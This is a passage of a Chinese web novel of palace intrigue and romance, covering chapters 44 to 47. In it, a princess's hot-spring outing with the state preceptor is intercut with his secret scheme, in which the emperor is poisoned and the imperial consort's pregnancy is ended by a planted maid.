“去,”容钰被 许怀鹤拉着手腕,她顺势晃了晃手臂,就像之前拉着许怀鹤的袖子摇晃那样,“先去上香。后院有什么好玩的?” 她已经完全忘了昨天被许怀鹤欺负后,自己赌气想着今日不要理睬许怀浩的任何要求,一句话都不应许怀鹤,语气软乎乎的。 “殿下去了就知道了。”许怀鹤淡笑笑着回复,带容钰进了今日不接外客的三清殿,站在旁边静静等待容钰虔诚上完三炷香,将香火插进铜炉里,又将贡品摆好。 殿内只有她一人,容钰默默许了愿,她这次的愿望和上次许的内容差不多,依旧希望镇国公府好好的,外祖父和舅舅健康平安,一家人和和美美,团团圆圆,也希望自己和许怀鹤能早日成婚,许怀鹤能早点成为她的驸马。 三清祖师爷们静静地垂眸看着她,容钰站在大殿中央,缓缓睁开眼,不知道是不是她的错觉,还是心境的变化,她总觉得祖师爷们都变得慈眉善目了一些,是不是说明她的心愿也会成真,好事将近? 她悄悄看向许怀鹤,却没想到许怀鹤一直在注视着她,目不转睛,两人对视一瞬,许怀鹤走过来拉住她的手,十指相扣,容钰的心跳的快了些,她咬住下唇,又跟着许怀鹤出了大殿后门,往后院走了。 他们来的隐秘,没有惊动观主和其他道士香客,一路上没看见其他人,顺畅无阻地进了后院,木门一打开,容钰就看到了一地的花草,空气中散发着淡淡的药香,还有白色的暖雾。 在这严寒的冬日,竟然有药草能活下来吗,而且还能开花?这后院似乎也比别的地方要更加暖和一些,真是奇怪。 容钰疑惑地眨了眨眼睛,还没等她开口问,许怀鹤就主动解释道:“这里有一处隐秘的温泉,源源不断散发出热意,我就让人修了院子,正好用来种草药。” “那口温泉也修过了,有美白养颜,帮助安眠的功效,很适合冬日去泡一泡,”许怀鹤摩挲着容钰嫩白的指尖,意有所指,“殿下想去试试吗?” 第44章 第44章没说不能做别的。 听到这处有温泉,容钰惊喜了一下,她已经很久没有泡过汤泉了,行宫里面倒是有,但是隔年才能去一次,且去行宫的日子都在冬日,她往年冬天身子不大好,病殃殃地躺在床上,也不方便随着其他人一同前往,担心又加重了病症,不但玩不了什么,还折腾了自己。 没想到今日却能在这里享受上,她弯唇,正想点头,又突然意识到了什么,警惕地睁圆了眼睛,看着浅笑的许怀鹤:“那你呢?” 许怀鹤有轻微的惊讶,没料到容钰突然机敏了一回,他还扣着容钰的手指,轻轻地,慢慢地,怀有暗示意味地抚摸着容钰的手心,眼尾上挑,露出和上次在马车内一样的神情,像蛊惑人心的男狐狸。 “那自然是,”许怀鹤微妙地顿了一下,“和殿下一起泡温泉了。” 容钰一下攥紧了手心,不让许怀鹤的手指作乱,轻飘飘地,毫无威慑力地瞪了许怀鹤一眼,她就知道这人不会说什么正经话! 但容钰的这一瞪,在许怀鹤看来反而更像是欲擒故纵的调情,既然殿下没有出言反对,那就是默许了。 许怀鹤十分明白得寸进尺的道理,他瞟了一眼站在草药田圃外,垂着头安安分分待着的春桃和青竹,突然向容钰凑近了几许,贴着她的耳朵尖,轻声开口,用只有他们两个人才能听到的声音低笑:“臣保证,只在旁边规矩地伺候殿下,绝对不逾矩。” 这时候又称呼起“臣”了,容钰轻轻嘟起嘴,侧脸弯出可爱的弧度,她思索了一下,觉得许怀鹤的承诺还算可信,便点头同意了:“好,不许和我一起泡。” 只说不许一起泡,但没说不能做别的。 许怀鹤心满意足地站直身体,继续握住容钰柔白嫩柔软的小手,向后院汤泉所在的地方走去,春桃和青竹连忙跟在他们后面,身后的小丫鬟抬着箱笼,也赶了上来。 有了上一次被困在白云观,大雪封山下不来的经验,春桃和青竹这次准备充分,换洗衣裙自然也在箱笼里面好好装着,东西都不缺,完全可以供容钰舒舒服服地泡一次汤泉。 春桃正要将白色的纱衣送进去,但她刚走到石栏杆围着的门口,就被许怀鹤挡了下来。 国师大人的身量极高,明明不像闻大人那样身形伟岸,但却有一种说不清道不明的气势,像一座巍峨的山一样,沉甸甸地压在春桃肩头,她的心中突然升起几分惧意,低下头,默默地将白色的纱衣递给了许怀鹤。 这件纱衣是公主殿下平日就寝的时候穿的,避免光裸,有时外面还会套一层中衣,现在用来泡汤泉却是恰好。 许怀鹤捧着薄如蝉翼,轻飘飘的纱衣,在关上门的那一刻,低头将纱衣凑到鼻翼尖,深深嗅了一口,上面果然充满了容钰身上的山茶花香气,清雅迷人。 背对着他褪去全部衣物的容钰完全不知道许怀鹤做了什么,她将纤长的小腿放入提前扔了浴药包的汤泉里,动了动脚趾,慢慢将整个身体都沉了下去,只露出锁骨以上,感受着温暖的水流包裹住身体的舒适。 雾气如纱般弥漫,石围栏外的积雪映得温泉池畔一片莹白,容钰倚靠在天然凿出的池壁上,墨发如藻,漂浮在淡绿色的水面上,水珠顺着锁骨滑落,藏进起伏中。 她闻着淡淡的药香,只觉得精神和身体一同放松了下来,不禁闭上眼睛,享受着这片刻的安宁。 身后传来轻轻的脚步声,容钰还以为进来的人是春桃,自然地撑起手臂从水中站起来,想让春桃帮自己擦一擦后背,没有任何防备地转身,一错不错地对上了许怀鹤直勾勾的视线。 容钰呆滞一瞬,随后发出一声惊呼,猛地转身,捂住自己的胸口,将自己重新藏进了水中,这次就连脖子都浸下去了。 水花四溅,白雾飘荡,美人红了一张芙蓉面,湿发垂在耳侧和肩头,白与黑的极致对比让人心神荡漾,容钰羞愤地开口:“你快出去,不许看我!” 许怀鹤早已在容钰站起身转过来的时候,就已经把不该看的都看全了,他的喉结上下动了动,眼中浓重的欲念几乎要将容钰吞没。 “臣是来伺候殿下的。”许怀鹤的声音干哑躁动,他往前走着,并没有听容钰的话赶紧转身离开,而是步步紧逼,来到了容钰面前。 容钰不由得往后退,后背靠上了另一侧的石壁,但依旧躲不开许怀鹤专注的目光,盯得她浑身都热了起来,双手无助地横在锁骨边,想要抵挡住许怀鹤的视线。 许怀鹤用一根手指轻佻地勾起纱衣的衣带,在容钰眼前晃了晃,他半蹲下来,和容钰靠的更近,在容钰羞怯的眼神中笑着问:“殿下,需要臣帮您穿上吗?” 容钰急道:“不,不用,我自己来就好,你先出去。” 因为太着急,她伸手从许怀鹤的手中抢过纱衣,却忘了遮住胸口,□□半露,许怀鹤的视线又往下移了一寸,她气结,嘟嘟囔囔地推着许怀鹤的手臂,却被许怀鹤反手抓住了手腕,往身前一拉,吻了上来。 哪怕许怀鹤此刻半蹲着,容钰也得仰头,加上汤泉一直泡着,整个人都晕乎乎的,白如羊脂玉的肤色变成了浅浅的粉红,接吻的黏糊水声和汤泉被搅动的声音混杂在一起。 等她回过神来的时候,她已经被许怀鹤有力的臂膀从水里捞了起来,裹上了纱衣,又重新坐回了水中,白色的纱衣一沾水就变得透明,几乎和没穿没什么两样。 容钰后悔地想咬舌尖,两条手臂软的跟面条一样,无力地趴在石围栏边,也没 法再遮什么。 她恨恨地心想,早知道她就不该答应许怀鹤那日的要求,说什么要陪许怀鹤出来玩一日,也不该应许怀鹤的话,来后面泡汤泉。 就在她以为许怀鹤也要跟着下来,一起泡汤泉,又对她动手动脚,胡作非为的时候,许怀鹤却又变回了平常那副谦谦君子的样子,当真像是来伺候她的,在旁边安安分分地煮着茶,等她泡好。 容钰趴在汤泉边缓气,没忍住又瞪了许怀鹤几眼,却注意到许怀鹤的某处和之前几次一样,又有了势头,明显到衣袍都遮不住。 她顿了顿,心知许怀鹤也和话本子里那些正常男子一样,在面对心上人时,情到深处也会有所反应。 也许是他们还未正式成婚,许怀鹤也明白她的底线,所以还没越过最后那条线得了她的身子,没有做到最后一步,而是选择克制住自己。 这么想着想着,容钰又慢慢原谅了许怀鹤,自己把自己哄好了,她缩回水中,无聊地牵起自己一缕墨发,看它在水面荡开,又悄悄看了看许怀鹤,想知道他那处什么时候才能平复下来。 容钰自以为小动作不会被发现,但她的隐藏实在拙劣,许怀鹤很轻易地就察觉了她的目光,想忽视都有些难。 有那么一瞬间,许怀鹤甚至产生了不管不顾的念头,想在这里就和她共赴巫山,情意交融,最终还是压下了心里翻滚的欲望,轻轻拨了一下炭火。 汤泉不能泡太久,容钰脸颊发烫,她接过许怀鹤煮好递来的养生茶,抿了一口,里面既有药的涩味,又有甘草的甜,不好喝,但也不难喝。 许怀鹤起身出门,从外面取来了衣裙和玉容膏,容钰咬了咬牙,心道反正也被许怀鹤看过了,再看一遍也不会少几块肉,扶着他伸过来的手臂站起来,换下了已经彻底湿透的纱衣。 许怀鹤的视线微顿,两个人的呼吸都有些重,他垂眸打开玉容膏的罐子,从里面取出一团,做起了平日春桃的活计,轻柔地帮容钰涂在皮肤上。 许怀鹤的指尖像是在点火,容钰从汤泉里出来的身体被冷风吹过,本来有些发凉,现在被许怀鹤摸过的地方却阵阵发烫,比火炉还管用,她憋住想轻哼的声音,死死咬着下唇,赌气似的不和许怀鹤说话。 许怀鹤只看一眼就知道她在闹小脾气,嘴角勾出几分笑意,指尖刻意从红缨上抹过,引来一阵颤动,容钰终于忍不住呼出声:“啊。” 这一声娇媚入骨,许怀鹤的呼吸陡然又加重,容钰捂住自己的嘴,羞恼地推了推许怀鹤,从他手中抢过衣物,背对着他,慌忙地自己穿好。 门外,听着门里传来的水声响动,还有断断续续的喘气,公主殿下的惊呼等暧昧声响,春桃和青竹都不敢站近了,两人的耳朵都红了。 眼看着活泼好动的雪团要去扑国师大人种的药草,春桃连忙弯腰,将雪团抱了起来,捏住它乱动的爪垫,和青竹小声闲聊,缓解尴尬:“青竹,你说国师大人究竟什么时候去向皇上求娶咱们殿下呀?” 这,两人都亲密的如同真夫妻一般了! “我也不清楚,但国师大人应该自有打算。”青竹小声回道,“但是,陛下就一定会答应让国师大人做驸马么?” 春桃愣住,她还从来没有想过这个问题,在她看来,只要殿下点头,陛下就一定会应殿下的要求,让国师大人顺顺利利地成为驸马,不会有半点波折。 可是,想到殿下对待陛下日益疏远的态度,还有陛下更加宠爱皇贵妃和永宁公主的偏向,春桃心里又有了几分不确定,甚至产生了惶恐不安。 她不禁望向了远处若隐若现的皇宫,巍峨的宫殿处在整个京城的正中央,看上去凛然不可动摇。 而此刻的大殿中,宫人们手忙脚乱,一直伺候在皇帝身边的大太监撕心裂肺地喊着:“快传太医,让太医过来!” 昨夜皮影戏班子有关的事,不过一个晚上,不论是世家还是新贵全都知晓了,而在许怀鹤刻意的消息掐断之下,只有皇宫被蒙在鼓里。 世家新贵看着宫中没有什么动静,心里不免疑惑,觉得皇上不可能不知道此事,于是都开始观望,谁都不想做这个出头鸟,承受陛下的怒火。 最先站出来的人肯定最倒霉,后面的人只需要替皇上分忧就行,所以这事才一直拖到了这时,终于有愣头青沉不住气,进入皇宫向皇帝禀报了此事。 而皇帝一听先朝可能还有余孽在,当即怒急攻心,积累在体内的丹毒终于开始发挥作用,一口气没能吊上来,脸和脖子胀得通红,晕了过去。 第45章 第45章皇胎没了。 慌慌张张准备去叫太医的小太监才刚往外走了两步,又被大太监厉声喝住,让他静悄悄地去,不许张扬。 大太监已经反应过来,他冷静地环视了一圈大殿内的人,让他们全都留在了这里,不许出去,就连门口的侍卫也不能离开,死守着大殿。 白云观中一片岁月静好,宫里却一阵死气沉沉,所有人都屏气凝神,心上下压着一块乌云挥之不去,都明白要是陛下醒不来,那就要出大乱子了。 谁不知当今陛下当年也是靠宫变,且先朝皇帝膝下除了罪太子之外再无其他皇子,才靠着镇国公的军队,还有祖上勉强和先帝沾边的旁支身份继承了皇位? 而如今,当今陛下膝下也无皇子,全是公主,没有可以继位的人,若是陛下出了什么事,那岂不是历史又要重演? 而这次谁,又是宫变的受益者呢? 大太监额头上都浮起了一层冷汗,完全不敢深想,他看着晕倒在龙椅上的陛下,皇帝的脸色已经由红转白,隐隐发出青紫,看上去完全像是将死之人的面相。 大太监的双手都在抖,他用力掐住自己的指甲,又一次想到了什么,招手让自己最信任的徒弟过来,低声对他说:“你现在去怀柔宫,将皇贵妃藏好,在事态平息之前,万万不能出来!” 这时候千万不能让唯一怀有皇嗣的皇贵妃和陛下待在一起,否则乱贼来了,将他们一网打尽,那可就真的没有退路了,当下至少得保全那位还没出世的皇胎才行,不管是公主还是皇子,只能赌上这一把。 太医院资历最深,医术最精湛的院判脚步匆匆地跟着小太监进了大殿,看着大殿严阵以待的样子,心里就咯噔一下,知道出事了,再看到龙椅上昏迷不醒的陛下,更是心里一凉。 曾几何时,先朝皇帝也是这样不省人事地倒在龙椅上,身上还中了一刀,深可见骨,直穿心脏,再也无力回天,眼下的陛下还有救,太医打起精神,连忙把脉。 “陛下这是中毒了!”老太医惊奇地开口,“这毒,似乎还不止一种,再加上陛下一时没能收住肝火,气上心头,诱发了毒素,这才晕了过去。” 他立即取出银针,扎在了皇帝松弛的皮肤表面,开始用放血的办法而祛除毒素,不多时就有黑色的血从针孔中缓慢冒了出来,大太监看的一阵心惊,但他实在是想不通这毒到底是怎么下的。 明明所有经过陛下口的东西都得提前验毒,还得留样,这么多年也不是没有妄图下毒的人,但都早早被查验出来,怎么可能…… 大太监的眼神突然停留在陛下刚才饮过茶的茶盏上,急忙捧着底盖端了过来,老太医只是轻轻在边缘一嗅,就脸色大变:“有毒!这就是陛下身上的毒!” 大太监露出果然如此的神色,当即又看向了几个端过这碗茶水的宫女们,那些宫女们也明白问题多半出现在茶水上,各个吓的抖如筛糠,慌忙为自己辩解。 有的线索,那就好查了,大太监开始用一贯的印阴狠手段收拾这些宫女,想从她们嘴里逼出幕后指使,还有解毒的方法,太医则在旁边忙碌,一张又一张写着药方,让下人们去煎药,务必要让陛下赶紧醒过来,主持大局,稳定人心。 另一边,大太监的心腹徒弟赶到怀柔宫内,已是出了一头急汗,他走到躺在贵妃榻上的皇贵妃面前,砰一声跪下来,压低声音将皇上昏迷不醒的事情说了,请皇贵妃赶紧藏好。 听到陛下出了事,皇贵妃当场没能握住手里把玩的玉麒麟,哐当一声摔在地上,四分五裂,惊动了在外间做女工 的永宁,带着宫女们走进来,惊讶问道:“母妃,出了什么事?” 皇贵妃还没能回过神来,但身体已经本能感到害怕,她用力掐住旁边伺候的宫女的手,哆哆嗦嗦地从贵妃榻上坐起身,想要伸手去抓小太监的领子,让他说的更清楚些,究竟发生了什么,自己又要藏到哪里去。 就在这时,原本一直在永宁身边伺候,一位默不作声的小宫女突然上前,殷切地扶住了皇贵妃,袖口向下,往地上撒了什么东西,然而在场所有人都盯着小太监,没人注意她。 皇贵妃本来就浑身无力,被人搀扶着起身,花盆底的鞋跟踩在那团光亮的似乎水渍的东西上,当即脚下一滑,摔倒在了地砖上,痛的两眼昏花,捂着肚子尖叫出声。 紧接着,其他人都看到,有暗红色的血从皇贵妃的身上流出来,很快就染红了她藕粉色的裙摆,也染黑了地砖。 这下永宁也呆住了,小太监更是两眼一黑,恨不得当场晕死过去,刚才去扶皇贵妃的小宫女又连忙大声叫着太医,一边伸手去扶皇贵妃,连声问着“娘娘没事吧”“娘娘怎么了”,想扶皇贵妃从地上站起来。 一片混乱中,那小宫女低头,遮住脸上得逞的畅快笑意,又趁机用袖子一抹,将地板上的痕迹擦除的干干净净,再抬头时,又变回了害怕担忧的模样,十分关切皇贵妃的状况。 小太监浑浑噩噩地点了几名宫女出门,再去太医院请太医,等太医匆忙赶来一摸,当即跪了下来,对着脸色苍白的皇贵妃道:“娘娘,这胎,没能保住……” 完了,全完了。 小太监也跟着跪了下来,后背发抖,皇贵妃的脸色更加苍白,她呆呆地捂住自己的小腹,还是不敢相信自己的孩子就这么没了。 这是她处心积虑怀上的孩子,为了这个孩子能够成为唯一的皇长子,她在后宫用了多少手段,杀了多少其他嫔妃腹中的胎儿,让她们只能生出公主,难道这也是报应吗,报应到了自己头上? 不,她不认! 永宁发出几乎能震碎琉璃盏的刺耳尖叫,扑上去就要锤打太医的头脸,她不愿相信太医的话,坚定认为是太医这个庸医没能护住母妃肚子里的皇胎,指着太医不断叫骂。 怎么可能?!明明母妃这一胎是尊贵的皇子,只要皇长子出生,母妃就能成为大夏的皇后,她也能越过容钰,成为更尊贵的公主,明明马上就要迎来将容钰踩在脚底的日子,获得父皇无限的偏爱,这一切都毁了,全毁了! 太医被抓散了头发,扯歪了衣襟,逃命一样匆忙离去,永宁又将仇恨恶毒的目光转向了通风报信的小太监,指着他怒道:“是你,就是你!如果不是你来传消息,母妃怎么会受惊?又怎会摔倒在地上,丢了这胎!你该死!” 小太监心里凉了半截,也不敢辩解,只是不住磕着头,跪求永宁公主和皇贵妃娘娘的原谅,然而直到他几乎要将头磕破,晕死过去,两人也没有要他起来的意思。 皇贵妃丢了这胎,也没有再藏起来的必要了,这是小太监晕死过去之前心中的最后一个念头。朦胧间,他似乎看到永宁公主身边的小宫女对着自己和善地笑了笑,但没等他仔细看,就失去了意识。 白云观的后院内,许怀鹤站在石栏杆边,他衣袍沾了些许容钰身上的水气,因为靠近温泉,白雾蒸腾,将他缭绕其中,远远看上去当真像是仙人下凡。 赶到后院门口的小道童被震了一瞬,察觉到国师大人的目光投过来,连忙低头弯腰,做了一个五指收拢的手势。 许怀鹤眉头微动,对着他轻轻点头,小道童立刻又悄悄退了出去,没有惊动昭华公主殿下身边的任何人。 看到那个手势,许怀鹤就知道计划已经成功,埋在皇贵妃和永宁公主身边的暗桩终于起了作用,给了她们致命一击,打碎了她们的春秋大梦。 没了皇胎,对皇贵妃的打击不可谓不大,想必她也能安分守己一段时间,努力争宠继续怀上下一胎,还要提防后宫其他嫔妃趁着这个时间怀孕,没空再对昭华公主殿下做什么。 至于老皇帝那边,他控制好了毒量,就这么把狗皇帝毒死太便宜了,之后还有更多的事情等着呢,权利还没从老皇帝手中掏干净,后面的事也没铺垫完成,他怎么会这么轻易,就让老皇帝殡天呢? 老皇帝可得要被一刀一刀刮肉刮骨,被踩着头按进泥地里,承受完酷刑之后,再看着他偏爱的妻女死在他眼前,他才能下地狱啊。 许怀鹤的心情极好,他微微弯唇,脸上挂着浅淡的笑意,静静站着,目光深邃地看着昭华公主殿下倩丽的背影。 殿下从温泉出来后,就故意不和他说话,赌气一样将他甩在后面,自己去了草药圃玩,和身边的两个婢女小声讨论着面前的药草名叫什么。 天真烂漫,和稚童一样心思纯洁,光是看着昭华公主殿下,许怀鹤都觉得自己仿佛也从泥潭里走了出来,向着天上的明月追逐,明月也悲悯地洒下余晖,映在他身上,为他洗去了一些污浊。 他选择在这一天动手,就是为了不让公主殿下也被卷进纷争的漩涡中,殿下只需要无忧无虑地玩乐就好,只等着继续做这天下最尊贵的女人,所有的恶,所有的鲜血仇恨都由他一手承担,必定不让殿下沾染分毫。 “许怀鹤。”容钰忽而回头,她脸上有着明媚的笑容,像一束光直直照进许怀鹤阴暗的心里,“你来说,这株草药叫什么名字?” 许怀鹤被这样纯净的笑烫了一下,他缓缓道:“龙胆草。” 第46章 第46章殿下宽心。 龙胆草耐寒耐旱,再加上有温泉的滋养,哪怕是在严寒的冬日也开出了深紫色的花,在一众药草当中格外显眼。 容钰又问了龙胆草的药效,兴致勃勃地听着许怀鹤耐心诉说,青竹和春桃对视一眼,十分默契且识趣地往后退了退,将这片空间留给他们二人。 冬季的白日太短,不多时就已经日暮西山,天边泛起淡淡的灰蓝,再过半个时辰就会完全暗淡下去。 容钰在许怀鹤的指导下亲手拔了一株草药,洗净又剔除了花叶,放在簸箕里面等待晒干,就能变成可以做药用的药草,她觉得十分新奇,还想多玩一会儿,却听到春桃低声提醒:“殿下,该回公主府了。” 容钰这才依依不舍地站起身,对着许怀鹤弯唇:“我要回公主府了。” “好。”许怀鹤颔首,脸上带着浅笑,“臣与殿下一同回去。” 容钰微微瞪大了眼,她看着许怀鹤淡然自若的样子,方才在温泉里逾矩的行为又涌上脑海,脸颊上染了薄红,低声警告道:“你不许再乱来了,我们还没成婚,怎么能,你怎么能和我一同回公主府,夜宿在我那里呢!” 这得是多浪荡的做派!她脸皮薄,可做不出这样的事来。 眼看容钰上当,许怀鹤唇角的笑意更深,他故作惊讶地回道:“殿下怎么会这么想?” 许怀鹤正色道:“臣同殿下一起回去,不过顺路而已,臣要回新建的国师府,就在殿下的公主府旁边,莫非殿下忘了?” 意识到是自己误会了,容钰脸上的红晕更重,她总怀疑许怀鹤是故意这样说,引得她误会,让她尴尬,可对上许怀鹤十分正经的神色,她又不太确定,最后还是面子和傲娇占了上风,轻轻哼了一声,转身别扭地走开了。 许怀鹤在她身后两步远的位置跟着,逗弄心上人的愉悦让他通体舒畅,再加上计划顺利进行,许怀鹤心情极好,哪怕被容钰赶下马车,不许他挨着,只能在旁边骑马,也一直保持着浅笑。 此刻另一边的皇宫之中,焦灼的氛围有所缓解,经过太医的诊治和灌药,皇帝终于悠悠转醒。 意识到被人下毒,还有皮影戏的事让皇帝怒火再起,他正要将手边的白玉枕头甩出去,就被旁边的大太 监赶紧下跪拦住:“陛下,您如今可万万不能动气,否则余毒又会复发啊!” 皇帝的怒气梗在心头,他憋了又憋,才勉强压下翻涌的愤怒,沉声问道:“朕晕倒后,消息封锁了吗?可有出什么乱子?” 现在正是邀功的好时候,大太监连忙弯腰躬身,将自己的所作所为说了,又拍胸保证绝对没有消息传出宫外去。 “好,还是你办事最稳妥。”皇帝的面色果然缓和了一些,他顿了顿,继续问,“镇国公也不知晓?皇贵妃那边呢?” 他最宠爱的皇贵妃知道他晕厥了,居然没有在他身边好好照顾他,喂他喝药吗?怎么他醒来却不见皇贵妃的身影,连永宁也不在? 陛下会在意镇国公府,也在大太监意料之中,陛下一直对这镇国公府提防在心,陛下又膝下无子,镇国公权大势大,是最有可能威胁皇位的人,就怕镇国公万一有反心,不得不防。 听陛下提起皇贵妃,大太监犹豫了一下,但他知道面前的人是天子,是全天下最尊贵的人,不能对他有所隐瞒,否则掉的就是自己的脑袋,连忙道:“回陛下的话,镇国公自然也是不知道的,如今都还没能进宫来。但皇贵妃……” “皇贵妃娘娘听闻陛下骤然晕倒,失了方寸,太过慌乱,意外跌倒,”大太监抖了抖,咬着牙说了,“滑胎了。” 像有一道惊雷劈下,皇帝的眼前一黑,刚刚才坐起来的身子晃了晃,肥胖的身躯又重新倒了下去,将床榻似乎都压弯了几分。 大太监吓得手忙脚乱要伸手去扶,害怕陛下再一次晕了过去,皇帝双目圆瞪,因为充血而有些发红,死死抓住他的手,喘着粗气,声音颤抖:“你说什么?!” 他怕好不容钰盼来的儿子没了?! 大太监不得已又将刚才的话重复了一遍,接着就听到了来自皇帝的一声怒喝,他正等着迎接陛下骤雨一样的怒骂,却发现倒在床榻上的人忽然又没有了声音,惊慌地叫道:“太医,让太医快来!” 等皇帝再一次在太医的施针下醒来后,房里所有人都战战兢兢,如履薄冰,知道陛下现在已经是盛怒之后的平静,而这种平静才是最可怕的,他随便挥挥手发泄余怒,就能让他们所有人全都丢了命。 一片寂静之中,大太监突然忍不住想到,若是皇后娘娘还在就好了,皇后娘娘聪慧贤德,临危不断,哪怕是面对陛下昏厥,也能处理好宫中事物,还能在陛下醒来后劝陛下平心静气。 若是皇后娘娘还在,想必也能再怀上龙胎,说不定还能生下皇长子,那可就是正儿八经的太子殿下。 但想到皇后娘娘的病,大太监又哆嗦了一下,不敢继续深想,也不敢再想如果皇后娘娘还活着的事了,恭敬地等待着陛下发话。 皇帝瞪着床帐上缝制的明珠,明黄的色彩刺得他眼睛有些疼,他闭了闭眼,心烦意乱。 比起已经没了的皇子,他还是更在乎自己的皇位稳固。自己中毒一事,大太监也没能从那些宫女的口中撬出来什么,还是得交给专门的人去盘问,还有该死的皮影戏…… 交给谁去查?镇国公不行,他不放心,万一这毒就是镇国公下的,那还能查出来什么?刑部又是一群酒囊饭袋,不,刑部还有一个人是自己提拔上来的,看着有几分本事。 皇帝的眼睛转了转,哑声道:“下毒的事,还有皮影戏的事,传朕旨意,交给刑部左侍郎闻锐达去查,可以越级查办,大行方便,只要他能尽快给朕一个结果。” 他刻意给闻锐达这么大的权利,让闻锐达放手去做,他要把闻锐达培养成自己的忠臣,孤臣。 “还有,”皇帝有些乏力,“宣国师进宫,让他给朕炼养气丹。” 他算是看明白了,太医院就是一群废物,给他解毒花了这么长时间,还没让毒消除干净,让他喝的药也没能起作用,他现在依旧觉得手脚乏力,头晕眼花,多说几句话都要喘气,根本不如一枚养气丹来的管用,瞬间就能神清气爽,还是国师年轻有为,医术高超,不愧是修道之人。 大太监连忙领命,一边搬来了圣旨和笔墨端到皇帝榻前,等皇帝写好圣旨,让人送去行刑部,递到闻锐达手上,一边又叫人连忙去请国师大人入宫。 大太监派去的人在观星楼跑空了一趟,又一拍脑袋,连忙去新建成的国师府寻许怀鹤,而宫里的人到达国师府门口时,容钰和许怀鹤刚好从白云观回来。 马车缓慢在府前停下,容钰掀开车帘,看了一眼穿着宫里服饰的小太监,不由得走下马车在原地站定,想听一听父皇这么晚突然让许怀鹤入宫去,是要做什么。 小太监有些诧异国师大人居然和公主殿下同行,但也不敢多想,连忙向许怀鹤说了陛下请他入宫的话。 他不敢说陛下中毒晕倒,只说陛下身体抱恙,但容钰听到后还是有些担忧错愕,上一世直到她被送去漠北和亲之前,有许怀鹤的丹药在,父皇的身体都很安康,这会儿怎么突然病了? 哪怕父皇并不喜欢自己,她也不再期望从父皇那里得到亲情关怀,但父皇以往给她的赏赐却是实打实的,那毕竟是自己的父皇,为人子女者,不能为父母侍疾,也得分忧。 容钰往前走了一步,对小太监道:“父皇病了,本宫心里不安,就随国师一同前去吧。” 小太监惊了一跳,内心叫苦,他来之前大太监已经嘱咐过他,千万不能惊动其他人,特别是镇国公府的人,昭华公主殿下虽然是公主是陛下的亲女儿,但昭华公主殿下也和镇国公府有关系啊,这可怎么办? “公主殿下,”小太监苦着脸,只希望自己不要像师兄那样在怀柔宫里差点磕死过去,也不知道招惹了赵华公主殿下,自己还能不能活着,“陛下说了,只让国师大人一人入宫,这,奴才也没办法。” 容钰的心好似被轻轻刺了一下,扎的并不深,但却刻骨的疼和酸,她竟不知道父皇已经讨厌自己到了这种地步,就连入宫去看望都不许,但她也无意为难下人,勉强站住了:“好,本宫知晓了,那你们快去吧。” 她的声音轻飘飘的,带着别人轻易察觉不到的酸楚和苦闷,许怀鹤敏锐地察觉到了她心绪不佳,转头看过来,正好对上了容钰湿漉漉的眼睛。 许怀鹤心里很清楚老皇帝在防什么,心里的猜测再一次被证实,他在心底冷笑了一声,更怜惜容钰,温声道:“殿下宽心,臣一定尽力医治陛下。” 容钰点了点头,被春桃和青竹扶着进了公主府的大门,木门合上,遮住了她纤弱风情的背影,许怀鹤也收回视线,干脆利落地翻身上马,前往皇宫。 等他随着大太监的脚步进入房内,来到老皇帝的床榻前,阴晴不定的老皇帝盯着他,突然幽幽开口,眼里泛出危险的光:“国师,你既然能观天象,卜算吉凶祸福,那怎么没算到朕这一次会被下毒呢?” 第47章 第47章父皇他,并不喜爱我。…… 老皇帝一开口,许怀鹤就知道对方的疑心病又犯了,他掩去眼中的冷意,只盯着地毯上繁复的花纹,不慌不忙地开口道:“是臣失职,请陛下责罚。” 看多了勾心斗角,尔虞我诈,还有其他人在自己面前装模作样,许怀鹤这么直截了当承认了失职,皇帝反而愣了一下。 但他就喜欢许怀鹤这样的真性情,直来直去,有种修道之人的清高,皇帝微微抬起手,让许怀鹤起身:“朕并没有责怪国师的意 思,这次请国师来,还望国师能让朕重获康健。” 对着给自己下毒,让自己内里被掏空,只等一剂猛药就能殡天的罪魁祸首说这种话,许怀鹤几乎要笑出声来,他直起身:“是,定不负陛下所托。” 他伸出手为皇帝把脉,又淡淡解释了原因:“臣上次夜观天象,道破了天机,修为还没能完全恢复,这几日又接连乌云密布,无法占卜,这才让陛下被有心之人钻了空子。” 皇帝阖上双眼,静静听着许怀鹤的话,忍不住又开始思考起来,近几日确实乌云密布,接连下了好几天的雪,无法夜观天象也在所难免。 这下皇帝心里的最后一丝疑云也被打消,又完全信任了许怀鹤,听许怀鹤道:“陛下体内的余毒还需慢慢调养,臣先给陛下几枚养气丹,供陛下服用。” 许怀鹤说着,旁边机灵的小太监已经跑去了观星楼,不多时就从观星楼的小道童手中接过木盒,来到皇帝面前,恭恭敬敬地双手奉上。 皇帝迫不及待地打开木盒,就像看到了救命仙草一样,拿起圆润漆黑的养气丹一口吞了下去,旁边的大太监都没来得及开口,只能连忙端了茶水过来。 服下养气丹之后,皇帝苍白的面色肉眼可见的红润了起来,他陶醉地仰起头,长长吸了一口气,觉得原本沉重的身躯都变得轻盈,闭上眼睛,神色安详,又隐隐中透着一丝细微的癫狂。 见到这一幕,大太监本来还想提醒陛下服用丹药之前先验验毒,毕竟已经有了前车之鉴,但此刻也只能把嘴边的话默默咽了回去。 陛下正在兴头上,国师大人又如此得陛下信任,修为极高,定然不会做那些大逆不道的事情,自己若是贸然提醒,不仅会惹得陛下不快,说不定还会被国师大人厌恶。 不过这养气丹可真是神仙才能有的丹药,也就国师大人能够制出来,见效如此之快,像是吃了话本子里的人参果一样,养气提神,延年益寿,也不知道自己什么时候才能有资格吃上一枚。 皇帝服用完丹药后就睡下了,大太监送许怀鹤出了门,犹豫再三之后,还是忍不住开口低声求道:“国师大人,奴才斗胆问一句,大人那里可有活血化瘀,止血祛疤的膏药?” “我那不争气的小徒弟得罪了贵人,磕破了头,太医院给的普通药膏多半起不了作用,”大太监点头哈腰,“只要国师大人能给,银钱不是问题。” 他得知皇贵妃滑胎,迁怒徒弟,小徒弟晕死在怀柔宫里时,心里就一凉,但他忙着伺候皇上,也不敢去看,只能在内心希望小徒弟福大命大,能够保下一条命来。 但头都磕烂了,破了相要是养不好,有碍瞻观,以后就不能在贵人面前露脸伺候,只能做一些杂活,想到这里,大太监不免又有一些哀叹,自己用心力手把手教出来的徒弟不能继承自己的衣钵,也没人给自己养老了。 他心里不满皇贵妃和永宁公主,但又无可奈何,他是皇帝身边的人,陛下偏爱皇贵妃和永宁公主,他就更不能表现出与陛下相逆的意思,不然就是自寻死路,皇贵妃和永宁公主再不好,也得将她们好生捧着。 